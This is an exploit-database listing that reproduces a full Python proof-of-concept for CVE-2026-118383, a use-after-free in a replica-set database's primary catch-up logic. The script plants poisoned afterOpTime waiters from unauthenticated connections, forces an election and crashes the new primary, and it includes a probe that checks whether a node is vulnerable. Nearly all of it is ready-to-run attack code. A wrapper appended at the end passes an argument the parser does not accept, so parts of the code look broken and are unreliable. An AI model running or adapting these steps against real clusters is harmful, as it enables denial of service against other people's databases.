Exploit database

GH-8f3f66aa36383c2a3a7f550ff9a824a1

googlesky/cve-2026-118383

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-118383

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1
googlesky/cve-2026-118383Revision 471804de2a27

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.py

Python · 34,841 bytes
#!/usr/bin/env python3
"""CVE-2026-118383 proof-of-concept.

The attacker is an UNauthenticated client.  It poisons the primary-catch-up waiter
list of a secondary with two abandoned readConcern.afterOpTime waiters, then a
replica-set reconfiguration makes that node win an election.  During catch-up the
poisoned waiter can never be fulfilled; when catch-up concludes "already caught up"
the waiter is destroyed and its completion callback re-enters
CatchupState::abort_inlock(), freeing the state while the outer abort still uses it
(heap-use-after-free).

Modes:
  assisted  pauses n2's applier *after the oplog entries are written* with the
            test-only pauseBatchApplicationAfterWritingOplogEntries failpoint.  This
            keeps n2's lastWritten current (so it can win votes) while lastApplied
            lags (so primary catch-up has a target and registers a waiter).
  natural   no failpoint: poison waiters are planted without blocking the client,
            a burst of writes is issued immediately before the election so the new
            primary is naturally behind, then the election is forced.
  control   single unauthenticated ping with readConcern.afterOpTime against n2.
            Vulnerable builds make the client wait; fixed builds reject immediately
            with Unauthorized (SERVER-138119).
"""
from __future__ import annotations

import argparse
import datetime
import json
import os
import sys
import threading
import time

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

from mongo_wire import Client, MongoError, Timestamp, hello, repl_status, ts_of  # noqa: E402

FAILPOINT = "pauseBatchApplicationAfterWritingOplogEntries"


def log(msg: str):
    stamp = datetime.datetime.now(datetime.timezone.utc).strftime("%H:%M:%S.%f")[:-3]
    print(f"[{stamp}] {msg}", flush=True)


def bson_int(value):
    """Our raw decoder returns BSON int64 as {'high':..,'low':..}; normalize."""
    if isinstance(value, dict) and "low" in value and "high" in value:
        return (int(value["high"]) << 32) | (int(value["low"]) & 0xFFFFFFFF)
    return int(value)


class Cluster:
    def __init__(self):
        hosts = os.environ.get("MONGO_HOSTS", "n1:27017,n2:27018,n3:27019")
        self.addrs = {}
        for item in hosts.split(","):
            name, port = item.split(":")
            self.addrs[name] = (name, int(port))
        self.clients = {}

    def connect(self, name, timeout=10.0):
        host, port = self.addrs[name]
        client = Client(host, port, timeout=timeout)
        self.clients[name] = client
        return client

    def close(self):
        for client in self.clients.values():
            client.close()
        self.clients.clear()

    def reconnect(self, name, timeout=3.0):
        if name in self.clients:
            self.clients[name].close()
        return self.connect(name, timeout=timeout)

    def get(self, name):
        return self.clients.get(name) or self.connect(name)

    def wait_primary(self, names=("n1", "n2", "n3"), timeout=30.0):
        deadline = time.time() + timeout
        while time.time() < deadline:
            for name in names:
                try:
                    if hello(self.get(name)).get("isWritablePrimary"):
                        return name
                except (OSError, MongoError, ConnectionError):
                    pass
            time.sleep(0.2)
        return None


def plant_poison_async(cluster: Cluster, node: str, applied_ts: Timestamp, max_time_ms=15000):
    """Plant W1 and W2 without waiting for the (blocking) ping commands.

    The two commands run on dedicated connections with a long maxTimeMS so the
    abandoned waiters stay registered for the whole election.  We verify each
    insertion through the waiter count before sending the next one.
    """
    host, port = cluster.addrs[node]
    w1 = Timestamp(applied_ts.secs + 1, 1)
    w2 = Timestamp(1, 1)
    huge_term = 1 << 40

    c1 = Client(host, port, timeout=5.0)
    c1.send_command(
        {"ping": 1, "readConcern": {"afterOpTime": {"ts": w1}}, "maxTimeMS": max_time_ms},
        db="admin",
        read_reply=False,
    )
    if not wait_waiter_count(cluster, node, 1, timeout=3.0):
        raise RuntimeError("W1 waiter did not register")

    c2 = Client(host, port, timeout=5.0)
    c2.send_command(
        {
            "ping": 1,
            "readConcern": {"afterOpTime": {"ts": w2, "t": huge_term}},
            "maxTimeMS": max_time_ms,
        },
        db="admin",
        read_reply=False,
    )
    if not wait_waiter_count(cluster, node, 2, timeout=3.0):
        raise RuntimeError("W2 waiter did not register")

    return w1, w2, [c1, c2]


def wait_waiter_count(cluster: Cluster, node: str, minimum: int, timeout=3.0) -> int | None:
    deadline = time.time() + timeout
    seen = None
    while time.time() < deadline:
        seen = waiter_count(cluster.get(node))
        if seen is not None and seen >= minimum:
            return seen
        time.sleep(0.01)
    return seen


def write_burst(cluster: Cluster, primary: str, seconds: float, doc_size=2000):
    """Write as fast as possible for a fixed wall-clock window."""
    client = cluster.get(primary)
    coll = f"poc_nat_{int(time.time())}"
    payload = "B" * doc_size
    written = 0
    batch = 0
    started = time.time()
    while time.time() - started < seconds:
        docs = [
            {"_id": batch * 400 + i, "pad": payload, "n": written + i}
            for i in range(400)
        ]
        try:
            client.command(
                {"insert": coll, "documents": docs, "ordered": False},
                db="test",
                allow_error=True,
            )
        except (OSError, MongoError, ConnectionError):
            break
        written += len(docs)
        batch += 1
    last = get_last_write_ts(client)
    log(
        f"burst complete: {written} docs, primary lastWrite={last} "
        f"in {time.time() - started:.2f}s"
    )
    return written, last


def write_burst_async(
    cluster: Cluster, primary: str, seconds: float, doc_size=2000, threads=6, id_base=0
):
    """Outrun a CPU-throttled secondary with several concurrent writers.

    Returns the worker threads plus a live stats dict.  The burst intentionally
    keeps running while the election is forced, so the new primary has a real
    backlog to catch up through instead of catching up inside the same
    millisecond the election completes.
    """
    host, port = cluster.addrs[primary]
    coll = f"poc_nat_{time.time_ns()}"
    payload = "B" * doc_size
    started = time.time()
    stats = {"docs": 0, "errors": 0}
    lock = threading.Lock()

    def worker(wid: int):
        client = Client(host, port, timeout=5.0)
        local = 0
        errors = 0
        batch = 0
        try:
            while time.time() - started < seconds:
                docs = [
                    {
                        "_id": (id_base + wid) * 100_000_000 + batch * 400 + i,
                        "pad": payload,
                        "n": local + i,
                    }
                    for i in range(400)
                ]
                try:
                    client.command(
                        {"insert": coll, "documents": docs, "ordered": False},
                        db="test",
                        allow_error=True,
                    )
                except (OSError, MongoError, ConnectionError):
                    errors += 1
                    break
                local += len(docs)
                batch += 1
        finally:
            client.close()
            with lock:
                stats["docs"] += local
                stats["errors"] += errors

    workers = [
        threading.Thread(target=worker, args=(wid,), daemon=True)
        for wid in range(threads)
    ]
    for thread in workers:
        thread.start()
    return workers, stats, coll


def timed_command(client, doc, db="admin", allow_error=True):
    started = time.time()
    try:
        result = client.command(doc, db=db)
    except (MongoError, OSError, ConnectionError) as exc:
        if not allow_error:
            raise
        result = {
            "error": str(exc),
            "code": getattr(exc, "code", None),
        }
    return result, time.time() - started


def get_applied_ts(client) -> Timestamp:
    status = repl_status(client)
    return ts_of(status["optimes"]["appliedOpTime"])


def get_written_ts(client) -> Timestamp:
    status = repl_status(client)
    return ts_of(status["optimes"]["writtenOpTime"])


def get_last_write_ts(client) -> Timestamp:
    info = hello(client)
    return ts_of(info["lastWrite"]["opTime"])


def wait_applied_stable(client, timeout=10.0, quiet=0.6) -> Timestamp:
    """Wait until lastApplied stops advancing (the failpoint is effective)."""
    deadline = time.time() + timeout
    previous = None
    stable_since = None
    while time.time() < deadline:
        current = get_applied_ts(client)
        now = time.time()
        if previous is not None and current == previous:
            if stable_since is None:
                stable_since = now
            elif now - stable_since >= quiet:
                return current
        else:
            stable_since = None
        previous = current
        time.sleep(0.1)
    return previous


def wait_written_at_least(client, target: Timestamp, timeout=15.0) -> Timestamp | None:
    deadline = time.time() + timeout
    latest = None
    while time.time() < deadline:
        try:
            latest = get_written_ts(client)
            if latest.secs > target.secs or (
                latest.secs == target.secs and latest.inc >= target.inc
            ):
                return latest
        except (OSError, MongoError, ConnectionError):
            pass
        time.sleep(0.05)
    return latest


def write_until(cluster: Cluster, primary: str, target_ts: Timestamp, max_seconds=25.0):
    """Write until the primary's lastWrite timestamp is at least target_ts."""
    client = cluster.get(primary)
    coll = f"poc_{int(time.time())}"
    payload = "A" * 700
    written = 0
    started = time.time()
    batch = 0
    while time.time() - started < max_seconds:
        if get_last_write_ts(client).secs >= target_ts.secs:
            break
        docs = [
            {"_id": batch * 400 + i, "pad": payload, "n": written + i}
            for i in range(400)
        ]
        try:
            client.command(
                {"insert": coll, "documents": docs, "ordered": False}, db="test", allow_error=True
            )
        except (OSError, MongoError, ConnectionError):
            break
        written += len(docs)
        batch += 1
        if batch % 25 == 0:
            log(f"  backlog: {written} docs ({time.time() - started:.1f}s)")
    last = get_last_write_ts(client)
    log(f"backlog complete: {written} docs, primary lastWrite={last} in {time.time() - started:.1f}s")
    return written, last


def plant_poison(client, applied_ts: Timestamp):
    """Plant the two abandoned waiters that break the multimap ordering.

    Insertion order matters:
      1) W1 = {ts: applied+1, t: -1}  (term omitted)  -> accepted because ts is newer.
      2) W2 = {ts: Timestamp(1,1), t: 2^40}          -> accepted because term is huge.
    With W1 inserted first the multimap in-order walk is W2, W1, <catch-up waiter C>,
    and setValueIf_inlock() stops on W2 before it ever reaches the catch-up waiter.
    """
    w1 = Timestamp(applied_ts.secs + 1, 1)
    w2 = Timestamp(1, 1)
    huge_term = 1 << 40

    log(f"planting W1 afterOpTime={w1} (term omitted -> -1) on n2")
    _, elapsed = timed_command(
        client,
        {"ping": 1, "readConcern": {"afterOpTime": {"ts": w1}}, "maxTimeMS": 250},
    )
    log(f"  W1 command returned after {elapsed:.3f}s")
    if elapsed < 0.05:
        raise RuntimeError("W1 was rejected immediately (target may be patched)")

    log(f"planting W2 afterOpTime={w2} term={huge_term} on n2")
    _, elapsed = timed_command(
        client,
        {
            "ping": 1,
            "readConcern": {"afterOpTime": {"ts": w2, "t": huge_term}},
            "maxTimeMS": 250,
        },
    )
    log(f"  W2 command returned after {elapsed:.3f}s")
    if elapsed < 0.05:
        raise RuntimeError("W2 was rejected immediately (target may be patched)")
    return w1, w2


def set_n2_priority(cluster: Cluster, primary: str):
    client = cluster.get(primary)
    cfg = client.command({"replSetGetConfig": 1})["config"]
    old_version = cfg["version"]
    for member in cfg["members"]:
        member["priority"] = 20.0 if member["host"].startswith("n2:") else 1.0
    cfg["version"] = old_version + 1
    cfg.pop("term", None)
    log(f"reconfig: n2 priority=20, n1/n3 priority=1 (version {cfg['version']})")
    try:
        result = client.command(
            {"replSetReconfig": cfg, "maxTimeMS": 30000}, allow_error=False
        )
    except MongoError as exc:
        log(f"  reconfig FAILED: code={exc.code} {exc}")
        return None, None
    # Read back the version the server actually installed (force reconfigs pick a
    # randomized version; normal reconfigs use old+1).
    deadline = time.time() + 5.0
    actual = old_version
    while time.time() < deadline:
        try:
            actual = client.command({"replSetGetConfig": 1})["config"]["version"]
            if actual != old_version:
                break
        except (OSError, MongoError, ConnectionError):
            pass
        time.sleep(0.05)
    log(f"  config version is now {actual}")
    return actual, result


def wait_config(client, version: int, timeout=10.0):
    deadline = time.time() + timeout
    last = None
    while time.time() < deadline:
        try:
            cfg = client.command({"replSetGetConfig": 1})["config"]
            last = cfg.get("version")
            if last == version:
                return cfg
        except (OSError, MongoError, ConnectionError):
            pass
        time.sleep(0.1)
    return None


def wait_for_catchup(cluster: Cluster, target: str, timeout=15.0):
    """Poll replSetGetStatus until PRIMARY + electionCandidateMetrics.targetCatchupOpTime."""
    deadline = time.time() + timeout
    last_status = None
    while time.time() < deadline:
        try:
            status = repl_status(cluster.get(target))
            last_status = status
            metrics = status.get("electionCandidateMetrics") or {}
            if status.get("myState") == 1 and "targetCatchupOpTime" in metrics:
                return metrics["targetCatchupOpTime"], status
        except (OSError, MongoError, ConnectionError):
            pass
        time.sleep(0.05)
    return None, last_status


def election_counters(client) -> dict:
    try:
        status = client.command({"serverStatus": 1})
    except (OSError, MongoError, ConnectionError):
        return {}
    metrics = status.get("electionMetrics") or {}
    wanted = [
        "numCatchUps",
        "numCatchUpsSucceeded",
        "numCatchUpsAlreadyCaughtUp",
        "numCatchUpsSkipped",
        "numCatchUpsTimedOut",
        "numCatchUpsFailedWithError",
        "numCatchUpsFailedWithNewTerm",
        "numCatchUpsFailedWithReplSetAbortPrimaryCatchUpCmd",
    ]
    out = {}
    for name in wanted:
        if name in metrics:
            try:
                out[name] = bson_int(metrics[name])
            except (TypeError, ValueError):
                pass
    return out


def waiter_count(client) -> int | None:
    try:
        status = client.command({"serverStatus": 1})
        return bson_int(status["metrics"]["repl"]["waiters"]["opTime"])
    except (KeyError, TypeError, OSError, MongoError, ConnectionError):
        return None


def tail_log(client, limit=200):
    try:
        doc = client.command({"getLog": "global", "verbosity": 0})
        return doc.get("log", [])[-limit:]
    except (OSError, MongoError, ConnectionError):
        return []


def resume_applier(cluster: Cluster, target: str):
    log(f"disabling {FAILPOINT} on {target}")
    cluster.reconnect(target)
    cluster.get(target).command({"configureFailPoint": FAILPOINT, "mode": "off"}, allow_error=True)


def wait_for_death(cluster: Cluster, target: str, timeout=25.0):
    """Return True if the target stops answering hello / stops accepting connections."""
    deadline = time.time() + timeout
    failures = 0
    while time.time() < deadline:
        try:
            hello(cluster.get(target))
            failures = 0
        except (OSError, MongoError, ConnectionError) as exc:
            failures += 1
            log(f"  target not answering ({failures}): {exc}")
            if failures >= 2:
                return True
        time.sleep(0.2)
    return False


def monitor_after_resume(cluster: Cluster, target: str, target_ts: Timestamp | None, timeout=30.0, grace=2.0):
    """Watch applied optime, waiter count and liveness after the applier resumes.

    The two poison waiters are never removed (that is the point), so the waiter
    count is expected to stay at 2 after the catch-up waiter is destroyed.
    """
    deadline = time.time() + timeout
    applied_reached_at = None
    waiter_seen = None
    waiter_after = None
    samples = []
    while time.time() < deadline:
        try:
            status = repl_status(cluster.get(target))
        except (OSError, MongoError, ConnectionError) as exc:
            return {
                "dead": True,
                "applied_reached_target": applied_reached_at is not None,
                "waiter_count": waiter_seen,
                "waiter_after": waiter_after,
                "samples": samples,
                "error": repr(exc),
            }
        try:
            applied = ts_of(status["optimes"]["appliedOpTime"])
            written = ts_of(status["optimes"]["writtenOpTime"])
        except (KeyError, TypeError):
            time.sleep(0.05)
            continue
        waiters = waiter_count(cluster.get(target))
        if waiter_seen is None and waiters is not None and waiters > 0:
            waiter_seen = waiters
        if target_ts is not None and applied_reached_at is None:
            if applied.secs > target_ts.secs or (
                applied.secs == target_ts.secs and applied.inc >= target_ts.inc
            ):
                applied_reached_at = time.time()
                waiter_after = waiters
                samples.append(
                    {
                        "event": "applied_reached_target",
                        "applied": str(applied),
                        "written": str(written),
                        "waiters": waiters,
                    }
                )
        if len(samples) < 8:
            samples.append(
                {
                    "applied": str(applied),
                    "written": str(written),
                    "waiters": waiters,
                    "my_state": status.get("myState"),
                }
            )
        if applied_reached_at is not None and time.time() - applied_reached_at >= grace:
            # Give the heartbeat-triggered conclusion (and the re-entrant abort)
            # time to run, then return without requiring the poison waiters to go
            # away: they are intentionally never traversed again.
            return {
                "dead": False,
                "applied_reached_target": True,
                "waiter_count": waiter_seen,
                "waiter_after": waiter_after,
                "samples": samples,
            }
        time.sleep(0.1)
    return {
        "dead": False,
        "applied_reached_target": applied_reached_at is not None,
        "waiter_count": waiter_seen,
        "waiter_after": waiter_after,
        "samples": samples,
    }


def run_assisted(cluster: Cluster, report: dict, step, sync_file: str = ""):
    primary = cluster.wait_primary(timeout=60)
    if not primary:
        raise RuntimeError("no primary in replica set")
    step("topology", primary=primary)

    n2 = cluster.get("n2")
    applied0 = wait_applied_stable(n2)
    step("n2_applied_baseline", ts=str(applied0))

    # 1. Pause the applier AFTER oplog writes so lastWritten keeps advancing
    #    (fresh enough to receive votes) while lastApplied lags (catch-up target).
    log(f"enabling {FAILPOINT} on n2")
    n2.command({"configureFailPoint": FAILPOINT, "mode": "alwaysOn"}, allow_error=False)
    step("applier_paused")

    # 2. Create a backlog on the primary.  The catch-up target must sort after W1
    #    (applied+1s), so push the primary at least 3 seconds into the future.
    written, last = write_until(cluster, primary, Timestamp(applied0.secs + 3))
    step("backlog", docs=written, primary=primary, last_write=str(last))
    if last.secs < applied0.secs + 2:
        raise RuntimeError("could not advance primary lastWrite by 2s; backlog too slow")

    # 3. Wait until n2 has *written* the backlog while its applied optime stays put.
    n2_written = wait_written_at_least(n2, last, timeout=15)
    step("n2_written_caught_up", written=str(n2_written), last_primary=str(last))
    applied1 = get_applied_ts(n2)
    step("n2_applied_while_paused", ts=str(applied1))
    if applied1.secs > applied0.secs + 1:
        raise RuntimeError(
            f"applier did not pause (applied {applied0} -> {applied1}); "
            "catch-up will conclude without a waiter"
        )

    # 4. Poison the lastApplied waiter list from an unauthenticated connection.
    w1, w2 = plant_poison(n2, applied1)
    waiters = waiter_count(n2)
    step("poison_planted", w1=str(w1), w2=str(w2), waiters=waiters)
    if waiters is None or waiters < 2:
        raise RuntimeError(f"expected at least 2 poison waiters, saw {waiters}")

    # 5. Make n2 the preferred candidate and wait for the new config to reach it.
    version, reconfig_result = set_n2_priority(cluster, primary)
    if reconfig_result is None:
        raise RuntimeError("replSetReconfig failed on the primary")
    cfg = wait_config(n2, version, timeout=10)
    step("config_propagated", version=version, seen=cfg.get("version") if cfg else None)
    if not cfg:
        raise RuntimeError("n2 did not observe the new replica set config")

    # The reconfig wrote one more oplog entry; let n2's oplog writer catch up.
    last2 = get_last_write_ts(cluster.get(primary))
    wait_written_at_least(n2, last2, timeout=10)
    step("n2_written_after_reconfig", last_primary=str(last2))

    # 6. Force the poisoned node to run for election (test-only command).
    log("calling replSetStepUp on n2")
    resp, elapsed = timed_command(n2, {"replSetStepUp": 1}, allow_error=True)
    step("replSetStepUp", response=str(resp)[:400], elapsed=elapsed)

    target, status = wait_for_catchup(cluster, "n2", timeout=15)
    step(
        "catchup_registered",
        target=str(target) if target else None,
        my_state=(status or {}).get("myState"),
    )
    if not target:
        raise RuntimeError("n2 did not enter primary catch-up with a registered target")
    target_ts = ts_of(target)

    # At this point the poison must still hold the catch-up waiter: 2 abandoned
    # readConcern waiters + the catch-up waiter itself, with lastApplied < target.
    waiters = waiter_count(n2)
    applied_at_registration = (
        ts_of(status["optimes"]["appliedOpTime"]) if status else None
    )
    step(
        "catchup_waiter_state",
        waiters=waiters,
        applied=str(applied_at_registration) if applied_at_registration else None,
    )
    if waiters is None or waiters < 3:
        raise RuntimeError(
            f"expected 3 waiters (W1, W2, catch-up), saw {waiters}; poison did not hold"
        )
    if applied_at_registration is not None and not (
        applied_at_registration.secs < target_ts.secs
        or (
            applied_at_registration.secs == target_ts.secs
            and applied_at_registration.inc < target_ts.inc
        )
    ):
        raise RuntimeError("lastApplied already reached the catch-up target")

    before = election_counters(n2)
    step("election_counters_before_resume", counters=before)
    log(f"catch-up target registered: {target_ts}; poison waiters={waiter_count(n2)}")

    # Optional checkpoint: block here so an external debugger (or any other
    # oracle) can be armed while the poisoned catch-up waiter is live.  We are
    # about to resume the applier, which is the moment the double abort and the
    # use-after-free happen.
    if sync_file:
        waiting = sync_file + ".waiting"
        with open(waiting, "w") as fh:
            fh.write("ready\n")
        log(f"waiting for sync file {sync_file} (arm oracle now; catch-up waiter live)")
        deadline = time.time() + 120
        while time.time() < deadline and not os.path.exists(sync_file):
            time.sleep(0.05)
        if not os.path.exists(sync_file):
            raise RuntimeError("timed out waiting for sync file")
        log("sync received; resuming applier")

    # 7. Resume the applier.  lastApplied advances past the target but the poisoned
    #    waiter is never fulfilled; the next heartbeat update concludes catch-up and
    #    destroys the unfulfilled waiter, re-entering abort_inlock() (UAF).
    resume_applier(cluster, "n2")

    outcome = monitor_after_resume(cluster, "n2", target_ts, timeout=30)
    step("post_resume", **outcome)

    if outcome.get("dead"):
        report["verdict"] = "UAF_CRASH"
        return

    after = election_counters(cluster.get("n2"))
    step("election_counters_after_resume", counters=after)
    delta = {}
    for key in set(before) | set(after):
        if key in before and key in after and after[key] != before[key]:
            delta[key] = after[key] - before[key]
    step("election_counter_delta", delta=delta)

    lines = tail_log(cluster.get("n2"), limit=400)
    interesting = [
        line
        for line in lines
        if any(
            needle in line
            for needle in (
                "primary catch-up",
                "catchup target",
                "Caught up to the latest known optime",
                "Exited primary catch-up",
                "Invariant",
                "terminate",
                "Assertion",
            )
        )
    ]
    report["n2_log_tail"] = interesting[-40:]
    step("n2_log_evidence", lines=len(interesting))

    double_abort = (
        delta.get("numCatchUpsSucceeded", 0) >= 1
        and delta.get("numCatchUpsAlreadyCaughtUp", 0) >= 1
    )
    if double_abort:
        report["verdict"] = "DOUBLE_ABORT_UAF"
    elif outcome.get("applied_reached_target") and outcome.get("waiter_count"):
        report["verdict"] = "POISON_HELD_BUT_NO_DOUBLE_ABORT"
    else:
        report["verdict"] = "NO_UAF_OBSERVED"


def run_natural(cluster: Cluster, report: dict, step, backlog_seconds: float, writers: int):
    primary = cluster.wait_primary(timeout=60)
    if not primary:
        raise RuntimeError("no primary in replica set")
    step("topology", primary=primary)
    n2 = cluster.get("n2")

    # Natural mode: n2 keeps its normal applier.  Move the election preference
    # into the config first (so the election itself is not delayed), then plant
    # the poison waiters without blocking, build a write backlog, and force the
    # election while n2 is still behind.
    applied = get_applied_ts(n2)
    step("n2_applied_baseline", ts=str(applied))

    version, _ = set_n2_priority(cluster, primary)
    cfg = wait_config(n2, version, timeout=10)
    step("config_propagated", version=version, seen=cfg.get("version") if cfg else None)
    if not cfg:
        raise RuntimeError("n2 did not observe the new replica set config")

    w1, w2, poison_clients = plant_poison_async(cluster, "n2", get_applied_ts(n2))
    before = election_counters(n2)
    step("poison_planted", w1=str(w1), w2=str(w2), waiters=waiter_count(n2))

    # Several concurrent writers (plus a CPU-throttled n2) build a genuine
    # backlog.  The election is forced while the burst is still running, so n2
    # is behind when the post-election heartbeat round fixes the catch-up target.
    # A steady base load followed by a burst of extra writers creates a transient
    # apply queue without pushing n2 so far behind that it becomes ineligible.
    base_threads = max(2, writers // 3)
    base_workers, base_stats, _ = write_burst_async(
        cluster,
        primary,
        seconds=max(2.0, backlog_seconds / 2),
        threads=base_threads,
        id_base=0,
    )
    time.sleep(min(3.0, backlog_seconds / 2))
    surge_workers, surge_stats, _ = write_burst_async(
        cluster, primary, seconds=3.0, threads=writers, id_base=100
    )
    time.sleep(0.25)
    lag_now = get_applied_ts(n2)
    step("pre_election_lag", n2_applied=str(lag_now))

    resp, elapsed = timed_command(n2, {"replSetStepUp": 1}, allow_error=True)
    step("replSetStepUp", response=str(resp)[:400], elapsed=elapsed)

    target, status = wait_for_catchup(cluster, "n2", timeout=15)
    for thread in base_workers + surge_workers:
        thread.join(timeout=1.0)
    last = get_last_write_ts(cluster.get(primary))
    step(
        "burst",
        docs=base_stats["docs"] + surge_stats["docs"],
        errors=base_stats["errors"] + surge_stats["errors"],
        primary=primary,
        last_write=str(last),
    )
    step(
        "catchup_registered",
        target=str(target) if target else None,
        my_state=(status or {}).get("myState"),
    )
    if not target:
        report["verdict"] = "NO_CATCHUP"
        return
    target_ts = ts_of(target)

    waiters = waiter_count(n2)
    applied_at_registration = (
        ts_of(status["optimes"]["appliedOpTime"]) if status else None
    )
    step(
        "catchup_waiter_state",
        waiters=waiters,
        applied=str(applied_at_registration) if applied_at_registration else None,
    )

    outcome = monitor_after_resume(cluster, "n2", target_ts, timeout=max(30.0, backlog_seconds + 20))
    step("post_resume", **outcome)
    for client in poison_clients:
        client.close()
    if outcome.get("dead"):
        report["verdict"] = "UAF_CRASH"
        return
    after = election_counters(cluster.get("n2"))
    delta = {
        key: after[key] - before[key]
        for key in set(before) & set(after)
        if after[key] != before[key]
    }
    step("election_counter_delta", delta=delta)
    report["n2_log_tail"] = [
        line
        for line in tail_log(cluster.get("n2"), limit=400)
        if any(n in line for n in ("primary catch-up", "catchup target", "Caught up"))
    ][-40:]
    double_abort = (
        delta.get("numCatchUpsSucceeded", 0) >= 1
        and delta.get("numCatchUpsAlreadyCaughtUp", 0) >= 1
    )
    if double_abort:
        report["verdict"] = "DOUBLE_ABORT_UAF"
    elif waiters is not None and waiters < 2:
        report["verdict"] = "POISON_LOST"
    else:
        report["verdict"] = "NO_UAF_OBSERVED"


def run_control(cluster: Cluster, report: dict, step):
    """Unauthenticated afterOpTime acceptance probe (works on any version).

    Uses only commands allowed before authentication (hello + ping) so it also
    runs against a keyFile/auth-enabled replica set.
    """
    primary = cluster.wait_primary(timeout=60)
    if not primary:
        raise RuntimeError("no primary in replica set")
    n2 = cluster.get("n2")
    info = hello(n2)
    cluster_time = info["$clusterTime"]["clusterTime"]
    if not isinstance(cluster_time, Timestamp):
        cluster_time = ts_of(cluster_time)
    target = Timestamp(cluster_time.secs + 1, 1)
    response = None
    error = None
    started = time.time()
    try:
        response = n2.send_command(
            {
                "ping": 1,
                "readConcern": {"afterOpTime": {"ts": target}},
                "maxTimeMS": 1000,
            }
        )
    except MongoError as exc:
        error = exc
    elapsed = time.time() - started
    code = getattr(error, "code", None)
    step(
        "control_afterop_time",
        cluster_time=str(cluster_time),
        target=str(target),
        elapsed=round(elapsed, 3),
        code=code,
        errmsg=str(error) if error else None,
        ok=(response or {}).get("ok"),
    )
    if error is not None and elapsed < 0.5 and code != 50:
        report["verdict"] = "FIXED_REJECTS_UNAUTH_AFTEROPTIME"
    elif error is not None and code == 50:
        report["verdict"] = "VULNERABLE_ACCEPTS_UNAUTH_AFTEROPTIME"
    elif response is not None and response.get("ok") == 1:
        report["verdict"] = "VULNERABLE_ACCEPTS_UNAUTH_AFTEROPTIME"
    else:
        report["verdict"] = "INCONCLUSIVE"


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--mode", choices=["assisted", "natural", "control"], default="assisted"
    )
    parser.add_argument("--results", default="/results")
    parser.add_argument("--backlog-seconds", type=float, default=3.0)
    parser.add_argument("--writers", type=int, default=6)
    parser.add_argument("--sync-file", default="")
    args = parser.parse_args()

    os.makedirs(args.results, exist_ok=True)
    report = {
        "cve": "CVE-2026-118383",
        "mode": args.mode,
        "started": datetime.datetime.now(datetime.timezone.utc).isoformat(),
        "steps": [],
    }

    def step(name, **kw):
        entry = {"step": name, "time": time.time(), **kw}
        report["steps"].append(entry)
        log(f"STEP {name}: {kw}")

    cluster = Cluster()
    try:
        if args.mode == "assisted":
            run_assisted(cluster, report, step, args.sync_file)
        elif args.mode == "natural":
            run_natural(cluster, report, step, args.backlog_seconds, args.writers)
        else:
            run_control(cluster, report, step)
    except Exception as exc:  # noqa: BLE001
        log(f"ERROR: {exc}")
        report["error"] = repr(exc)
        report["verdict"] = "ERROR"
    finally:
        cluster.close()
        report["finished"] = datetime.datetime.now(datetime.timezone.utc).isoformat()
        out = os.path.join(args.results, f"poc-{args.mode}.json")
        with open(out, "w") as fh:
            json.dump(report, fh, indent=2, default=str)
        log(f"report written to {out}")
        log(f"VERDICT: {report.get('verdict')}")
    ok = {
        "UAF_CRASH",
        "DOUBLE_ABORT_UAF",
        "FIXED_REJECTS_UNAUTH_AFTEROPTIME",
        "VULNERABLE_ACCEPTS_UNAUTH_AFTEROPTIME",
    }
    return 0 if report.get("verdict") in ok else 1




def _standalone_exploit():
    _modes = {"check", "exploit", "probe", "mitigation"}
    sys.argv = [sys.argv[0], "exploit"] + [a for a in sys.argv[1:] if a not in _modes]
    return main()

if __name__ == "__main__":
    sys.exit(_standalone_exploit())